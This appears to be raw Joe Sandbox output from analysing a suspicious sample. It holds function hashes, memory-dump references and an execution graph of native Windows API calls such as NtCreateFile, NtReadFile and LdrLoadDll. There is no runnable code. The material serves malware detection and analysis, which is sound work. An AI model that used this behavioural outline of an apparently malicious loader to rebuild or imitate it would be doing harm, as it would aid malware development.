                                          • Opcode Fuzzy Hash: 961384e766788f8de18a00e69b0d78d87836f737ca5d527d96d228982aa63974
                                          • Instruction Fuzzy Hash: 08E120B4E042199FCB14DF99C580AAEFBF2FF89305F248159E514A7356DB30A941CFA1
                                          Function 01060040 Relevance: .3, Instructions: 312COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5cbde17de9a186cfcd862022981f6742de6e91c8fe73216e6af85a69ae3f893d
                                          • Instruction ID: 9d7fcf323f6e1f1d348da0f0ffff83986036378f3aa4ef1e76064b2336808e16
                                          • Opcode Fuzzy Hash: 5cbde17de9a186cfcd862022981f6742de6e91c8fe73216e6af85a69ae3f893d
                                          • Instruction Fuzzy Hash: 74E10B74E002198FDB14DFA9C5809AEFBF2FF89304F248169E454AB35ADB30A941CF61
                                          Function 01060610 Relevance: .3, Instructions: 312COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f55ba1edda11e16dea92a1159c2dd0cedbacfb32d223727e304d7f250d6a6e81
                                          • Instruction ID: ba51fc57e6313d5a1137ca772d9b0ddb0c7191462efd7db9eef1ef7e3779fc1a
                                          • Opcode Fuzzy Hash: f55ba1edda11e16dea92a1159c2dd0cedbacfb32d223727e304d7f250d6a6e81
                                          • Instruction Fuzzy Hash: F0E1EB74E012198FDB14DFA9C5809AEFBF2FF89304F248169E554A735ADB30A941CFA1
                                          Function 0794E1C8 Relevance: .3, Instructions: 312COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664146622.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7940000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bff11071c3d76d0e1bdd06a3741d4464d8bd63640c13f5772ad8353542c40228
                                          • Instruction ID: 2bcabd0bd4313501b163020345801cc4700cfdf2a7a193289b1b421b5a2ffb87
                                          • Opcode Fuzzy Hash: bff11071c3d76d0e1bdd06a3741d4464d8bd63640c13f5772ad8353542c40228
                                          • Instruction Fuzzy Hash: 6AE1EEB4E012198FDB14DFA9C5809AEFBF2FF89305F248169E414A7355DB31A941CFA1
                                          Function 0794DD90 Relevance: .3, Instructions: 312COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664146622.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7940000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c815d0ca0b206dc9de7bab8927ed2343feb64066e3d7c152d089b96f33e5a00c
                                          • Instruction ID: 0417f862c2e855e759f50535e1ca2623f59676de2aafd0e38b1945aaa369dbbd
                                          • Opcode Fuzzy Hash: c815d0ca0b206dc9de7bab8927ed2343feb64066e3d7c152d089b96f33e5a00c
                                          • Instruction Fuzzy Hash: F6E1FBB4E102198FDB14DFA9C5819AEFBF2FF89304F248169E514AB359DB30A941CF61
                                          Function 079463AF Relevance: .3, Instructions: 289COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664146622.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7940000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 25698c0f60b927de0502446f784085443d752ff6cf6baaec9b3153e4d985ebc9
                                          • Instruction ID: 1a20de458feb125fe4ef9ace1f593cc40a03882d1e4532fc7ba2fd42d29f9c93
                                          • Opcode Fuzzy Hash: 25698c0f60b927de0502446f784085443d752ff6cf6baaec9b3153e4d985ebc9
                                          • Instruction Fuzzy Hash: F0E1463191075ACECB11EBA8D950B9DF7B1FF95300F10879AE40937665EB706AC8CB91
                                          Function 079463E8 Relevance: .3, Instructions: 264COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664146622.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7940000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2934ed50bc8309905b91b52e9e76fba729a5093076eeb1144893165c40c3436f
                                          • Instruction ID: b783fea71d97439298d9d14ec19509f3c5e0b466c58826679eb0c02819ebb101
                                          • Opcode Fuzzy Hash: 2934ed50bc8309905b91b52e9e76fba729a5093076eeb1144893165c40c3436f
                                          • Instruction Fuzzy Hash: 90D1147192071ACACB11EBA8D950B9DF3B1FF95300F10C79AE40937665EB706AC9CB91
                                          Function 07921FF2 Relevance: 41.7, Strings: 33, Instructions: 440COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
                                          • API String ID: 0-2697097662
                                          • Opcode ID: 51932ad4def7151457000189ae7616169008b5da29b3ef1bb7d71bb1e565aea7
                                          • Instruction ID: 5c8d770c4c62f0a1f7dc6e1513e6d78d8bd4ebfe005dec1c710ae6513e662cb9
                                          • Opcode Fuzzy Hash: 51932ad4def7151457000189ae7616169008b5da29b3ef1bb7d71bb1e565aea7
                                          • Instruction Fuzzy Hash: DA12D130D812098FCF08EF79E991A9DB7B6FB81304F5049A9D0496B269DF306999CF61
                                          Function 07922000 Relevance: 41.7, Strings: 33, Instructions: 434COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
                                          • API String ID: 0-2697097662
                                          • Opcode ID: 7bea416e5074433f420094523f849ea99b917c17a325447e34425dbca1bb1af9
                                          • Instruction ID: 97474ca28eb5a15e98dbe6816b68abc7e168ab66136d5f3a968a37583c8c03cd
                                          • Opcode Fuzzy Hash: 7bea416e5074433f420094523f849ea99b917c17a325447e34425dbca1bb1af9
                                          • Instruction Fuzzy Hash: 1012E130D813098FCF08EF79E991A9DB7B6FB81304F5049A9D0496B269DF3069998F61

                                          Execution Graph

                                          Execution Coverage:1.4%
                                          Dynamic/Decrypted Code Coverage:2.7%
                                          Signature Coverage:6.5%
                                          Total number of Nodes:556
                                          Total number of Limit Nodes:69
                                          execution_graph 97775 41f070 97778 41b970 97775->97778 97779 41b996 97778->97779 97786 409d40 97779->97786 97781 41b9c3 97782 41b9a2 97782->97781 97794 40c1c0 97782->97794 97784 41b9b5 97830 41a6b0 97784->97830 97833 409c90 97786->97833 97788 409d4d 97789 409d54 97788->97789 97845 409c30 97788->97845 97789->97782 97795 40c1e5 97794->97795 98262 40b1c0 97795->98262 97797 40c23c 98266 40ae40 97797->98266 97799 40c4b3 97799->97784 97800 40c262 97800->97799 98275 4143a0 97800->98275 97802 40c2a7 97802->97799 98278 408a60 97802->98278 97804 40c2eb 97804->97799 98285 41a500 97804->98285 97808 40c341 97809 40c348 97808->97809 98297 41a010 97808->98297 97810 41bdc0 2 API calls 97809->97810 97813 40c355 97810->97813 97813->97784 97814 40c392 97815 41bdc0 2 API calls 97814->97815 97816 40c399 97815->97816 97816->97784 97817 40c3a2 97818 40f4a0 3 API calls 97817->97818 97819 40c416 97818->97819 97819->97809 97820 40c421 97819->97820 97821 41bdc0 2 API calls 97820->97821 97822 40c445 97821->97822 98302 41a060 97822->98302 97825 41a010 2 API calls 97826 40c480 97825->97826 97826->97799 98307 419e20 97826->98307 97829 41a6b0 2 API calls 97829->97799 97831 41a6cf ExitProcess 97830->97831 97832 41af60 LdrLoadDll 97830->97832 97832->97831 97864 418bc0 97833->97864 97837 409cb6 97837->97788 97838 409cac 97838->97837 97871 41b2b0 97838->97871 97840 409cf3 97840->97837 97882 409ab0 97840->97882 97842 409d13 97888 409620 LdrLoadDll 97842->97888 97844 409d25 97844->97788 97846 409c4a 97845->97846 97847 41b5a0 LdrLoadDll 97845->97847 98236 41b5a0 97846->98236 97847->97846 97850 41b5a0 LdrLoadDll 97851 409c71 97850->97851 97852 40f180 97851->97852 97853 40f199 97852->97853 98245 40b040 97853->98245 97855 40f1ac 98249 41a1e0 97855->98249 97858 409d65 97858->97782 97860 40f1d2 97863 40f1fd 97860->97863 98255 41a260 97860->98255 97862 41a490 2 API calls 97862->97858 97863->97862 97865 418bcf 97864->97865 97889 414e50 97865->97889 97867 409ca3 97868 418a70 97867->97868 97895 41a600 97868->97895 97872 41b2c9 97871->97872 97902 414a50 97872->97902 97874 41b2e1 97875 41b2ea 97874->97875 97941 41b0f0 97874->97941 97875->97840 97877 41b2fe 97877->97875 97959 419f00 97877->97959 97885 409aca 97882->97885 98214 407ea0 97882->98214 97884 409ad1 97884->97842 97885->97884 98227 408160 97885->98227 97888->97844 97890 414e6a 97889->97890 97891 414e5e 97889->97891 97890->97867 97891->97890 97894 4152d0 LdrLoadDll 97891->97894 97893 414fbc 97893->97867 97894->97893 97896 418a85 97895->97896 97898 41af60 97895->97898 97896->97838 97899 41af70 97898->97899 97900 41af92 97898->97900 97901 414e50 LdrLoadDll 97899->97901 97900->97896 97901->97900 97903 414d85 97902->97903 97913 414a64 97902->97913 97903->97874 97906 414b90 97970 41a360 97906->97970 97907 414b73 98027 41a460 LdrLoadDll 97907->98027 97910 414bb7 97912 41bdc0 2 API calls 97910->97912 97911 414b7d 97911->97874 97916 414bc3 97912->97916 97913->97903 97967 419c50 97913->97967 97914 414d49 97915 41a490 2 API calls 97914->97915 97918 414d50 97915->97918 97916->97911 97916->97914 97917 414d5f 97916->97917 97921 414c52 97916->97921 98039 414790 LdrLoadDll NtReadFile NtClose 97917->98039 97918->97874 97920 414d72 97920->97874 97922 414cb9 97921->97922 97924 414c61 97921->97924 97922->97914 97923 414ccc 97922->97923 98029 41a2e0 97923->98029 97926 414c66 97924->97926 97927 414c7a 97924->97927 98028 414650 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 97926->98028 97928 414c97 97927->97928 97929 414c7f 97927->97929 97928->97918 97985 414410 97928->97985 97973 4146f0 97929->97973 97934 414c70 97934->97874 97935 414c8d 97935->97874 97937 414d2c 98033 41a490 97937->98033 97938 414caf 97938->97874 97940 414d38 97940->97874 97943 41b101 97941->97943 97942 41b113 97942->97877 97943->97942 98058 41bd40 97943->98058 97945 41b134 98061 414070 97945->98061 97947 41b180 97947->97877 97948 41b157 97948->97947 97949 414070 3 API calls 97948->97949 97951 41b179 97949->97951 97951->97947 98086 415390 97951->98086 97952 41b20a 97953 41b21a 97952->97953 98180 41af00 LdrLoadDll 97952->98180 98096 41ad70 97953->98096 97956 41b248 98175 419ec0 97956->98175 97958 41b272 97958->97877 97958->97958 97960 419f1c 97959->97960 97961 41af60 LdrLoadDll 97959->97961 98207 11d2c0a 97960->98207 97961->97960 97962 419f37 97964 41bdc0 97962->97964 98210 41a670 97964->98210 97966 41b359 97966->97840 97968 414b44 97967->97968 97969 41af60 LdrLoadDll 97967->97969 97968->97906 97968->97907 97968->97911 97969->97968 97971 41af60 LdrLoadDll 97970->97971 97972 41a37c NtCreateFile 97971->97972 97972->97910 97974 41470c 97973->97974 97975 41a2e0 LdrLoadDll 97974->97975 97976 41472d 97975->97976 97977 414734 97976->97977 97978 414748 97976->97978 97979 41a490 2 API calls 97977->97979 97980 41a490 2 API calls 97978->97980 97981 41473d 97979->97981 97982 414751 97980->97982 97981->97935 98040 41bfd0 LdrLoadDll RtlAllocateHeap 97982->98040 97984 41475c 97984->97935 97986 41445b 97985->97986 97987 41448e 97985->97987 97988 41a2e0 LdrLoadDll 97986->97988 97989 4145d9 97987->97989 97993 4144aa 97987->97993 97990 414476 97988->97990 97991 41a2e0 LdrLoadDll 97989->97991 97992 41a490 2 API calls 97990->97992 97997 4145f4 97991->97997 97994 41447f 97992->97994 97995 41a2e0 LdrLoadDll 97993->97995 97994->97938 97996 4144c5 97995->97996 97999 4144e1 97996->97999 98000 4144cc 97996->98000 98054 41a320 LdrLoadDll 97997->98054 98003 4144e6 97999->98003 98004 4144fc 97999->98004 98002 41a490 2 API calls 98000->98002 98001 41462e 98007 41a490 2 API calls 98001->98007 98008 4144d5 98002->98008 98005 41a490 2 API calls 98003->98005 98006 414501 98004->98006 98041 41bf90 98004->98041 98009 4144ef 98005->98009 98010 414513 98006->98010 98045 41a410 98006->98045 98011 414639 98007->98011 98008->97938 98009->97938 98010->97938 98011->97938 98014 414567 98015 41457e 98014->98015 98053 41a2a0 LdrLoadDll 98014->98053 98017 414585 98015->98017 98018 41459a 98015->98018 98019 41a490 2 API calls 98017->98019 98020 41a490 2 API calls 98018->98020 98019->98010 98021 4145a3 98020->98021 98022 4145cf 98021->98022 98048 41bb90 98021->98048 98022->97938 98024 4145ba 98025 41bdc0 2 API calls 98024->98025 98026 4145c3 98025->98026 98026->97938 98027->97911 98028->97934 98030 414d14 98029->98030 98031 41af60 LdrLoadDll 98029->98031 98032 41a320 LdrLoadDll 98030->98032 98031->98030 98032->97937 98034 41a4ac NtClose 98033->98034 98035 41af60 LdrLoadDll 98033->98035 98034->97940 98036 41a4d6 98034->98036 98035->98034 98037 41af60 LdrLoadDll 98036->98037 98038 41a4dc 98037->98038 98038->97940 98039->97920 98040->97984 98042 41bfa3 98041->98042 98055 41a630 98042->98055 98044 41bfa8 98044->98006 98046 41a42c NtReadFile 98045->98046 98047 41af60 LdrLoadDll 98045->98047 98046->98014 98047->98046 98049 41bbb4 98048->98049 98050 41bb9d 98048->98050 98049->98024 98050->98049 98051 41bf90 2 API calls 98050->98051 98052 41bbcb 98051->98052 98052->98024 98053->98015 98054->98001 98056 41af60 LdrLoadDll 98055->98056 98057 41a64c RtlAllocateHeap 98056->98057 98057->98044 98181 41a540 98058->98181 98060 41bd6d 98060->97945 98062 414081 98061->98062 98064 414089 98061->98064 98062->97948 98063 41435c 98063->97948 98064->98063 98184 41cf30 98064->98184 98066 4140dd 98067 41cf30 2 API calls 98066->98067 98071 4140e8 98067->98071 98068 414136 98070 41cf30 2 API calls 98068->98070 98072 41414a 98070->98072 98071->98068 98189 41cfd0 98071->98189 98073 41cf30 2 API calls 98072->98073 98075 4141bd 98073->98075 98074 41cf30 2 API calls 98083 414205 98074->98083 98075->98074 98077 414334 98196 41cf90 LdrLoadDll RtlFreeHeap 98077->98196 98079 41433e 98197 41cf90 LdrLoadDll RtlFreeHeap 98079->98197 98081 414348 98198 41cf90 LdrLoadDll RtlFreeHeap 98081->98198 98195 41cf90 LdrLoadDll RtlFreeHeap 98083->98195 98084 414352 98199 41cf90 LdrLoadDll RtlFreeHeap 98084->98199 98087 4153a1 98086->98087 98088 414a50 8 API calls 98087->98088 98090 4153b7 98088->98090 98089 41540a 98089->97952 98090->98089 98091 4153f2 98090->98091 98092 415405 98090->98092 98093 41bdc0 2 API calls 98091->98093 98094 41bdc0 2 API calls 98092->98094 98095 4153f7 98093->98095 98094->98089 98095->97952 98200 41ac30 98096->98200 98099 41ac30 LdrLoadDll 98100 41ad8d 98099->98100 98101 41ac30 LdrLoadDll 98100->98101 98102 41ad96 98101->98102 98103 41ac30 LdrLoadDll 98102->98103 98104 41ad9f 98103->98104 98105 41ac30 LdrLoadDll 98104->98105 98106 41ada8 98105->98106 98107 41ac30 LdrLoadDll 98106->98107 98108 41adb1 98107->98108 98109 41ac30 LdrLoadDll 98108->98109 98110 41adbd 98109->98110 98111 41ac30 LdrLoadDll 98110->98111 98112 41adc6 98111->98112 98113 41ac30 LdrLoadDll 98112->98113 98114 41adcf 98113->98114 98115 41ac30 LdrLoadDll 98114->98115 98116 41add8 98115->98116 98117 41ac30 LdrLoadDll 98116->98117 98118 41ade1 98117->98118 98119 41ac30 LdrLoadDll 98118->98119 98120 41adea 98119->98120 98121 41ac30 LdrLoadDll 98120->98121 98122 41adf6 98121->98122 98123 41ac30 LdrLoadDll 98122->98123 98124 41adff 98123->98124 98125 41ac30 LdrLoadDll 98124->98125 98126 41ae08 98125->98126 98127 41ac30 LdrLoadDll 98126->98127 98128 41ae11 98127->98128 98129 41ac30 LdrLoadDll 98128->98129 98130 41ae1a 98129->98130 98131 41ac30 LdrLoadDll 98130->98131 98132 41ae23 98131->98132 98133 41ac30 LdrLoadDll 98132->98133 98134 41ae2f 98133->98134 98135 41ac30 LdrLoadDll 98134->98135 98136 41ae38 98135->98136 98137 41ac30 LdrLoadDll 98136->98137 98138 41ae41 98137->98138 98139 41ac30 LdrLoadDll 98138->98139 98140 41ae4a 98139->98140 98141 41ac30 LdrLoadDll 98140->98141 98142 41ae53 98141->98142 98143 41ac30 LdrLoadDll 98142->98143 98144 41ae5c 98143->98144 98145 41ac30 LdrLoadDll 98144->98145 98146 41ae68 98145->98146 98147 41ac30 LdrLoadDll 98146->98147 98148 41ae71 98147->98148 98149 41ac30 LdrLoadDll 98148->98149 98150 41ae7a 98149->98150 98151 41ac30 LdrLoadDll 98150->98151 98152 41ae83 98151->98152 98153 41ac30 LdrLoadDll 98152->98153 98154 41ae8c 98153->98154 98155 41ac30 LdrLoadDll 98154->98155 98156 41ae95 98155->98156 98157 41ac30 LdrLoadDll 98156->98157 98158 41aea1 98157->98158 98159 41ac30 LdrLoadDll 98158->98159 98160 41aeaa 98159->98160 98161 41ac30 LdrLoadDll 98160->98161 98162 41aeb3 98161->98162 98163 41ac30 LdrLoadDll 98162->98163 98164 41aebc 98163->98164 98165 41ac30 LdrLoadDll 98164->98165 98166 41aec5 98165->98166 98167 41ac30 LdrLoadDll 98166->98167 98168 41aece 98167->98168 98169 41ac30 LdrLoadDll 98168->98169 98170 41aeda 98169->98170 98171 41ac30 LdrLoadDll 98170->98171 98172 41aee3 98171->98172 98173 41ac30 LdrLoadDll 98172->98173 98174 41aeec 98173->98174 98174->97956 98176 41af60 LdrLoadDll 98175->98176 98177 419edc 98176->98177 98206 11d2df0 LdrInitializeThunk 98177->98206 98178 419ef3 98178->97958 98180->97953 98182 41af60 LdrLoadDll 98181->98182 98183 41a55c NtAllocateVirtualMemory 98182->98183 98183->98060 98185 41cf40 98184->98185 98186 41cf46 98184->98186 98185->98066 98187 41bf90 2 API calls 98186->98187 98188 41cf6c 98187->98188 98188->98066 98190 41cff5 98189->98190 98191 41d02d 98189->98191 98192 41bf90 2 API calls 98190->98192 98191->98071 98193 41d00a 98192->98193 98194 41bdc0 2 API calls 98193->98194 98194->98191 98195->98077 98196->98079 98197->98081 98198->98084 98199->98063 98201 41ac4b 98200->98201 98202 414e50 LdrLoadDll 98201->98202 98203 41ac6b 98202->98203 98204 414e50 LdrLoadDll 98203->98204 98205 41ad17 98203->98205 98204->98205 98205->98099 98206->98178 98208 11d2c1f LdrInitializeThunk 98207->98208 98209 11d2c11 98207->98209 98208->97962 98209->97962 98211 41af60 LdrLoadDll 98210->98211 98212 41a68c RtlFreeHeap 98211->98212 98212->97966 98215 407eb0 98214->98215 98216 407eab 98214->98216 98217 41bd40 2 API calls 98215->98217 98216->97885 98220 407ed5 98217->98220 98218 407f38 98218->97885 98219 419ec0 2 API calls 98219->98220 98220->98218 98220->98219 98221 407f3e 98220->98221 98226 41bd40 2 API calls 98220->98226 98230 41a5c0 98220->98230 98222 407f64 98221->98222 98224 41a5c0 2 API calls 98221->98224 98222->97885 98225 407f55 98224->98225 98225->97885 98226->98220 98228 40817e 98227->98228 98229 41a5c0 2 API calls 98227->98229 98228->97842 98229->98228 98231 41af60 LdrLoadDll 98230->98231 98232 41a5dc 98231->98232 98235 11d2c70 LdrInitializeThunk 98232->98235 98233 41a5f3 98233->98220 98235->98233 98237 41b5c3 98236->98237 98240 40acf0 98237->98240 98239 409c5b 98239->97850 98242 40ad14 98240->98242 98241 40ad1b 98241->98239 98242->98241 98243 40ad50 LdrLoadDll 98242->98243 98244 40ad67 98242->98244 98243->98244 98244->98239 98246 40b063 98245->98246 98247 40b0e0 98246->98247 98260 419c90 LdrLoadDll 98246->98260 98247->97855 98250 41af60 LdrLoadDll 98249->98250 98251 40f1bb 98250->98251 98251->97858 98252 41a7d0 98251->98252 98253 41a7ef LookupPrivilegeValueW 98252->98253 98254 41af60 LdrLoadDll 98252->98254 98253->97860 98254->98253 98256 41a27c 98255->98256 98257 41af60 LdrLoadDll 98255->98257 98261 11d2ea0 LdrInitializeThunk 98256->98261 98257->98256 98258 41a29b 98258->97863 98260->98247 98261->98258 98263 40b1f0 98262->98263 98264 40b040 LdrLoadDll 98263->98264 98265 40b204 98264->98265 98265->97797 98267 40ae51 98266->98267 98268 40ae4d 98266->98268 98269 40ae9c 98267->98269 98270 40ae6a 98267->98270 98268->97800 98313 419cd0 LdrLoadDll 98269->98313 98312 419cd0 LdrLoadDll 98270->98312 98272 40aead 98272->97800 98274 40ae8c 98274->97800 98276 40f4a0 3 API calls 98275->98276 98277 4143c6 98276->98277 98277->97802 98281 408a79 98278->98281 98314 4087a0 98278->98314 98280 408a9d 98280->97804 98281->98280 98282 4087a0 19 API calls 98281->98282 98283 408a8a 98282->98283 98283->98280 98332 40f710 10 API calls 98283->98332 98286 41af60 LdrLoadDll 98285->98286 98287 41a51c 98286->98287 98451 11d2e80 LdrInitializeThunk 98287->98451 98288 40c322 98290 40f4a0 98288->98290 98291 40f4bd 98290->98291 98452 419fc0 98291->98452 98294 40f505 98294->97808 98295 41a010 2 API calls 98296 40f52e 98295->98296 98296->97808 98298 41a02c 98297->98298 98299 41af60 LdrLoadDll 98297->98299 98458 11d2d10 LdrInitializeThunk 98298->98458 98299->98298 98300 40c385 98300->97814 98300->97817 98303 41af60 LdrLoadDll 98302->98303 98304 41a07c 98303->98304 98459 11d2d30 LdrInitializeThunk 98304->98459 98305 40c459 98305->97825 98308 41af60 LdrLoadDll 98307->98308 98309 419e3c 98308->98309 98460 11d2fb0 LdrInitializeThunk 98309->98460 98310 40c4ac 98310->97829 98312->98274 98313->98272 98315 407ea0 4 API calls 98314->98315 98330 4087ba 98314->98330 98315->98330 98316 408a49 98316->98281 98317 408a3f 98318 408160 2 API calls 98317->98318 98318->98316 98321 419f00 2 API calls 98321->98330 98323 41a490 LdrLoadDll NtClose 98323->98330 98326 40c4c0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 98326->98330 98329 419e20 2 API calls 98329->98330 98330->98316 98330->98317 98330->98321 98330->98323 98330->98326 98330->98329 98333 419d10 98330->98333 98336 4085d0 98330->98336 98348 40f5f0 LdrLoadDll NtClose 98330->98348 98349 419d90 LdrLoadDll 98330->98349 98350 419dc0 LdrLoadDll 98330->98350 98351 419e50 LdrLoadDll 98330->98351 98352 4083a0 98330->98352 98368 405f60 LdrLoadDll 98330->98368 98332->98280 98334 41af60 LdrLoadDll 98333->98334 98335 419d2c 98334->98335 98335->98330 98337 4085e6 98336->98337 98369 419880 98337->98369 98339 4085ff 98344 408771 98339->98344 98390 4081a0 98339->98390 98341 4086e5 98342 4083a0 11 API calls 98341->98342 98341->98344 98343 408713 98342->98343 98343->98344 98345 419f00 2 API calls 98343->98345 98344->98330 98346 408748 98345->98346 98346->98344 98347 41a500 2 API calls 98346->98347 98347->98344 98348->98330 98349->98330 98350->98330 98351->98330 98353 4083c9 98352->98353 98430 408310 98353->98430 98356 41a500 2 API calls 98357 4083dc 98356->98357 98357->98356 98358 408467 98357->98358 98360 408462 98357->98360 98438 40f670 98357->98438 98358->98330 98359 41a490 2 API calls 98361 40849a 98359->98361 98360->98359 98361->98358 98362 419d10 LdrLoadDll 98361->98362 98363 4084ff 98362->98363 98363->98358 98442 419d50 98363->98442 98365 408563 98365->98358 98366 414a50 8 API calls 98365->98366 98367 4085b8 98366->98367 98367->98330 98368->98330 98370 41bf90 2 API calls 98369->98370 98371 419897 98370->98371 98397 409310 98371->98397 98373 4198b2 98374 4198f0 98373->98374 98375 4198d9 98373->98375 98378 41bd40 2 API calls 98374->98378 98376 41bdc0 2 API calls 98375->98376 98377 4198e6 98376->98377 98377->98339 98379 41992a 98378->98379 98380 41bd40 2 API calls 98379->98380 98381 419943 98380->98381 98387 419be4 98381->98387 98403 41bd80 98381->98403 98384 419bd0 98385 41bdc0 2 API calls 98384->98385 98386 419bda 98385->98386 98386->98339 98388 41bdc0 2 API calls 98387->98388 98389 419c39 98388->98389 98389->98339 98391 40829f 98390->98391 98392 4081b5 98390->98392 98391->98341 98392->98391 98393 414a50 8 API calls 98392->98393 98395 408222 98393->98395 98394 408249 98394->98341 98395->98394 98396 41bdc0 2 API calls 98395->98396 98396->98394 98398 409335 98397->98398 98399 40acf0 LdrLoadDll 98398->98399 98400 409368 98399->98400 98402 40938d 98400->98402 98406 40cf20 98400->98406 98402->98373 98404 419bc9 98403->98404 98424 41a580 98403->98424 98404->98384 98404->98387 98407 40cf4c 98406->98407 98408 41a1e0 LdrLoadDll 98407->98408 98409 40cf65 98408->98409 98410 40cf6c 98409->98410 98417 41a220 98409->98417 98410->98402 98414 40cfa7 98415 41a490 2 API calls 98414->98415 98416 40cfca 98415->98416 98416->98402 98418 41af60 LdrLoadDll 98417->98418 98419 41a23c 98418->98419 98423 11d2ca0 LdrInitializeThunk 98419->98423 98420 40cf8f 98420->98410 98422 41a810 LdrLoadDll 98420->98422 98422->98414 98423->98420 98425 41af60 LdrLoadDll 98424->98425 98426 41a59c 98425->98426 98429 11d2f90 LdrInitializeThunk 98426->98429 98427 41a5b7 98427->98404 98429->98427 98431 408328 98430->98431 98432 40acf0 LdrLoadDll 98431->98432 98433 408343 98432->98433 98434 414e50 LdrLoadDll 98433->98434 98435 408353 98434->98435 98436 40835c PostThreadMessageW 98435->98436 98437 408370 98435->98437 98436->98437 98437->98357 98439 40f683 98438->98439 98445 419e90 98439->98445 98443 41af60 LdrLoadDll 98442->98443 98444 419d6c 98443->98444 98444->98365 98446 41af60 LdrLoadDll 98445->98446 98447 419eac 98446->98447 98450 11d2dd0 LdrInitializeThunk 98447->98450 98448 40f6ae 98448->98357 98450->98448 98451->98288 98453 41af60 LdrLoadDll 98452->98453 98454 419fdc 98453->98454 98457 11d2f30 LdrInitializeThunk 98454->98457 98455 40f4fe 98455->98294 98455->98295 98457->98455 98458->98300 98459->98305 98460->98310 98462 11d2ad0 LdrInitializeThunk

                                          Executed Functions

                                          Function 0041A410 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 0 41a410-41a426 1 41a42c-41a459 NtReadFile 0->1 2 41a427 call 41af60 0->2 2->1
                                          APIs
                                          • NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A455
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: FileRead
                                          • String ID: 1JA$rMA$rMA
                                          • API String ID: 2738559852-782607585
                                          • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                          • Instruction ID: c6e97d42c3e85b78cd3a41c20c82dd28da71633a8e67c8174f08c115ef6e08ba
                                          • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                          • Instruction Fuzzy Hash: 87F0B7B2200208AFCB14DF89DC81EEB77ADEF8C754F158249BE1D97241D630E851CBA4
